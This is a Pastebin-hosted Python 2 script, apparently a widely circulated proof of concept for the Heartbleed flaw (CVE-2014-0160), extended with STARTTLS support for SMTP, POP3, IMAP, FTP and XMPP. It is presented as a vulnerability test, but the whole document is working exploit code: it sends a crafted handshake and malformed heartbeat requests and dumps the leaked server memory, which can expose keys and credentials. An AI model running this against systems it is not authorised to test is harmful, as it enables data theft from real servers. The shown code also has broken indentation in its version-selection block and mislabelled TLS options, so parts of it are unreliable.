document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  4. # Source : https://gist.github.com/sh1n0b1/10100394
  5.  
  6. # Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols
  7. # Source : https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py
  8.  
  9. # Modified by Samiux from the code of Derek Callaway on April 11, 2014
  10.  
  11. # The authors disclaim copyright to this source code.
  12.  
  13. import sys
  14. import struct
  15. import socket
  16. import time
  17. import select
  18. import re
  19. from optparse import OptionParser
  20.  
  21. options = OptionParser(usage=\'%prog server [options]\', description=\'Test for SSL heartbeat vulnerability (CVE-2014-0160)\')
  22. options.add_option(\'-p\', \'--port\', type=\'int\', default=443, help=\'TCP port to test (default: 443)\')
  23. options.add_option(\'-s\', \'--starttls\', type=\'string\', default=\'\', help=\'STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp (default=NULL)\')
  24. options.add_option(\'-t\', \'--tls\', type=\'int\', default=2, help=\'0=SSLv3, 1=TLSv1, 2=TLS=1.1, 3=TLSv1.1 (default: 2)\')
  25.  
  26. def h2bin(x):
  27.     return x.replace(\' \', \'\').replace(\'\\n\', \'\').decode(\'hex\')
  28.  
  29. hello = h2bin(\'\'\'
  30. 16 03 02 00  dc 01 00 00 d8 03 02 53
  31. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  32. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  33. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  34. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  35. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  36. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  37. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  38. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  39. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  40. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  41. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  42. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  43. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  44. 00 0f 00 01 01
  45. \'\'\')
  46.  
  47. # SSLv3
  48. hb0 = h2bin(\'\'\'
  49. 18 03 00 00 03
  50. 01 40 00
  51. \'\'\')
  52.  
  53. # TLSv1
  54. hb1 = h2bin(\'\'\'
  55. 18 03 01 00 03
  56. 01 40 00
  57. \'\'\')
  58.  
  59. # TLSv1.1
  60. hb2 = h2bin(\'\'\'
  61. 18 03 02 00 03
  62. 01 40 00
  63. \'\'\')
  64.  
  65. # TLSv1.2
  66. hb3 = h2bin(\'\'\'
  67. 18 03 03 00 03
  68. 01 40 00
  69. \'\'\')
  70.  
  71.  
  72. def hexdump(s):
  73.     for b in xrange(0, len(s), 16):
  74.         lin = [c for c in s[b : b + 16]]
  75.         hxdat = \' \'.join(\'%02X\' % ord(c) for c in lin)
  76.         pdat = \'\'.join((c if 32 <= ord(c) <= 126 else \'.\' )for c in lin)
  77.         print \'  %04x: %-48s %s\' % (b, hxdat, pdat)
  78.     print
  79.  
  80. def recvall(s, length, timeout=4):
  81.     endtime = time.time() + timeout
  82.     rdata = \'\'
  83.     remain = length
  84.     while remain > 0:
  85.         rtime = endtime - time.time()
  86.         if rtime < 0:
  87.             return None
  88.         r, w, e = select.select([s], [], [], 5)
  89.         if s in r:
  90.             data = s.recv(remain)
  91.             # EOF?
  92.             if not data:
  93.                 return None
  94.             rdata += data
  95.             remain -= len(data)
  96.     return rdata
  97.  
  98.  
  99. def recvmsg(s):
  100.     hdr = recvall(s, 5)
  101.     if hdr is None:
  102.         print \'Unexpected EOF receiving record header - server closed connection\'
  103.         return None, None, None
  104.     typ, ver, ln = struct.unpack(\'>BHH\', hdr)
  105.     pay = recvall(s, ln, 10)
  106.     if pay is None:
  107.         print \'Unexpected EOF receiving record payload - server closed connection\'
  108.         return None, None, None
  109.     print \' ... received message: type = %d, ver = %04x, length = %d\' % (typ, ver, len(pay))
  110.     return typ, ver, pay
  111.  
  112. def hit_hb(s, hb):
  113.     s.send(hb)
  114.     while True:
  115.         typ, ver, pay = recvmsg(s)
  116.         if typ is None:
  117.             print \'No heartbeat response received, server likely not vulnerable\'
  118.             return False
  119.  
  120.         if typ == 24:
  121.             print \'Received heartbeat response:\'
  122.             hexdump(pay)
  123.             if len(pay) > 3:
  124.                 print \'WARNING: server returned more data than it should - server is vulnerable!\'
  125.             else:
  126.                 print \'Server processed malformed heartbeat, but did not return any extra data.\'
  127.             return True
  128.  
  129.         if typ == 21:
  130.             print \'Received alert:\'
  131.             hexdump(pay)
  132.             print \'Server returned error, likely not vulnerable\'
  133.             return False
  134.  
  135. BUFSIZ = 1024
  136.  
  137. def main():
  138.     opts, args = options.parse_args()
  139.  
  140.     if len(args) < 1:
  141.         options.print_help()
  142.         return
  143.  
  144.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  145.  
  146.     print \'Connecting...\'
  147.  
  148.     s.connect((args[0], opts.port))
  149.  
  150.     if opts.starttls != \'\':
  151.       print \'Sending STARTTLS Protocol Command...\'
  152.  
  153.     if opts.starttls == \'smtp\':
  154.       s.recv(BUFSIZ)
  155.       s.send("EHLO openssl.client.net\\n")
  156.       s.recv(BUFSIZ)
  157.       s.send("STARTTLS\\n")
  158.       s.recv(BUFSIZ)
  159.  
  160.     if opts.starttls == \'pop3\':
  161.       s.recv(BUFSIZ)
  162.       s.send("STLS\\n")
  163.       s.recv(BUFSIZ)
  164.  
  165.     if opts.starttls == \'imap\':
  166.       s.recv(BUFSIZ)
  167.       s.send("STARTTLS\\n")
  168.       s.recv(BUFSIZ)
  169.  
  170.     if opts.starttls == \'ftp\':
  171.       s.recv(BUFSIZ)
  172.       s.send("AUTH TLS\\n")
  173.       s.recv(BUFSIZ)
  174.  
  175.     if opts.starttls == \'xmpp\': # TODO: This needs SASL
  176.       s.send("<stream:stream xmlns:stream=\'http://etherx.jabber.org/streams\' xmlns=\'jabber:client\' to=\'%s\' version=\'1.0\'\\n")
  177.       s.recv(BUFSIZ)
  178.  
  179.     print \'Sending Client Hello...\'
  180.  
  181.     s.send(hello)
  182.  
  183.     print \'Waiting for Server Hello...\'
  184.  
  185.     if opts.tls == 0:
  186.     hb = hb0
  187.     elif opts.tls == 1:
  188.     hb = hb1
  189.     elif opts.tls == 2:
  190.     hb = hb2
  191.     elif opts.tls == 3:
  192.     hb = hb3
  193.     else:
  194.     hb = hb2
  195.  
  196.     while True:
  197.         typ, ver, pay = recvmsg(s)
  198.         if typ == None:
  199.             print \'Server closed connection without sending Server Hello.\'
  200.             return
  201.         # Look for server hello done message.
  202.         if typ == 22 and ord(pay[0]) == 0x0E:
  203.             break
  204.  
  205.     print \'Sending heartbeat request...\'
  206.     sys.stdout.flush()
  207.     s.send(hb)
  208.     hit_hb(s, hb)
  209.  
  210. if __name__ == \'__main__\':
  211.     main()
');